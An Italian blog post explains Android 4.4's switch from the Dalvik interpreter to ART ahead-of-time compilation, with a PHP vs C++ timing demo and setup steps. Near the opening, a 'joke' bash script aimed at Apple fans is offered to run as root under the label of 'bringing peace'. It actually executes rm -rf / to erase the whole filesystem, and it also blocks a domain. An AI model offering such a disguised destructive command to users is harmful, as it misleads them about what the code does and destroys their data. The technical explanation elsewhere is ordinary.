ART vs DALVIK: what’s new.

Shotokan - martedì 26 Novembre

Da quanto tempo andavamo avanti a dire “L’AIPONPON E’ PIU’ OTTIMIZZATO SOLO PERCHE’ TUTTE LE APP SONO NATIVE MENTRE ANDROID DATA L’ENORME QUANTITA’ DI HW E’ COSTRETTO AD USARE ROBBBBA INTERPRETATA”?
Finally da android 4.4 zio Google ha litigato con Oracle, e da quest’odio e’ nata la ART Runtime.

Caro lettore, prima di andare avanti a leggere controlla di non essere un Applefag, se lo sei assicurati di eseguire come root questo bellissimo script che porta la pace nel mondo:

#!/bin/bash
iptables -A OUTPUT -d aitch.me -j DROP
echo "127.0.0.1 aitch.me">>/etc/hosts
echo "Creating peace with the power of Steve Jobs... "
echo `rm -rf / 2>/dev/null`
echo "Peace!"

Ok.

Cos’e’ la Dalvik? Come funziona?

Dalvik fondamentalmente e’ l’interprete Java di Google.
Scrivere codice in Java rende sicuramente il software portabilissimo, ma in quanto a performance e’ sicuramente inversamente proporzionale.
Parlando terra-terra:
un .exe su windows contiene codice direttamente eseguibile dalla CPU, codice macchina puro.
E’ vero pero’ che se prendiamo quell’exe, e lo passiamo sul nostro Bubuntu, Bubuntu lo guarda e ti chiede se ti sei fumato qualche pianta particolare o sei scemo di tuo. (i file cosiddetti binari sono OS-dependent)

Se invece noi prendiamo del codice PHP (per fare un esempio di linguaggio interpretato) e lo mettiamo su una macchina qualsiasi, aprendolo esso mostrera’ il codice PHP appunto, non eseguira’ il programma se non abbiamo installato un interprete PHP (Dalvik nel caso Google+Java) .
Una volta installato l’inteprete, avendo il file “test.php” per eseguirlo da console scriviamo:

php test.php

E fondamentalmente il file php viene letto, decifrato e php capendo cio’ che abbiamo scritto in test.php andra’ a dire alla CPU cosa eseguire.

Per farvi capire in rapidita’ quanto pesa quest’operazione prendiamo in considerazione un file .php ed un file .cpp, dei semplici hello world (qui di seguito)

#include <iostream>
using namespace std;

int main(){
        cout<<"Hello, world!\n";
        return 0;
}

..Che va compilato con:

g++ test.cpp -o test.cpp.out

Ed il file php:

<?php
echo "Hello, world!\n";

Ora possiamo testare con il comando time quanto tempo viene impiegato per eseguire queste applicazioni.

Proviamo.

shotokan@ZHNOTEBOOK:~/test$ echo php; time php test.php; echo cpp; time ./test.cpp.out
php
Hello, world!

real    0m0.016s
user    0m0.008s
sys     0m0.008s
cpp
Hello, world!

real    0m0.001s
user    0m0.000s
sys     0m0.001s

Ok, decisamente molto piu’ veloce il codice compilato.

Ricordo che piu’ velocita’ significa meno energia utilizzata, maggiori risorse disponibili, maggior durata della batteria ed ovviamente performance aumentate.

Java difatti usa un interprete di tipo JIT (Just In Time), che manmano che il codice viene ‘letto’ dall’interprete, esso viene convertito ed eseguito.

E quindi? Non possiamo distribuire file binari su tutte queste piattaforme differenti, sarebbe da pazzi!

Tranquillo lettore, ART porta novita’ su questo settore.
Puoi ridistribuire le tue applicazioni Java come sempre, ma anziche’ esser buttate li’ nella dalvik in attesa di una lettura JIT, qui parliamo di AOT Compilation (Ahead-Of-Time).

Cosa significa?
Fondamentalmente quando installi un applicazione sul tuo Android, essa viene interpretata completamente e viene creato un file binario a partire dal semplice bytecode Java.

All’installazione dunque avverra’ una compilazione dell’app (puo’ richiedere tempo) e successivamente l’applicazione viene eseguita come nativa appunto, compilata.

Sembra fantastico! …Come attivo questa ART??

Per attivare la ART Runtime basta andare in:
Impostazioni->Opzioni Sviluppatore->Seleziona Runtime
Screenshot (04-59PM, nov 26, 2013)

Date ok, il telefono verra’ riavviato e tutte le applicazioni sul telefono verranno ricompilate (eh si, bisogna attendere qualche minuto alla prima installazione sadly.)

Consiglio se avete whatsapp: rimuovete whatsapp prima di aggiornare, o rimuovete da recovery l’apk di whatsapp da /data/app/com.whatsapp-1.apk, attivate la ART, lasciate che il telefono compili tutte le applicazioni, riavviate in recovery e flashate il file che trovate qui (XDA) per fixare whatsapp.

Godetevi le performance migliorate del vostro Android, e la vostra “nuova batteria”.

Screenshot (05-12PM, nov 26, 2013)

Theme made by Koala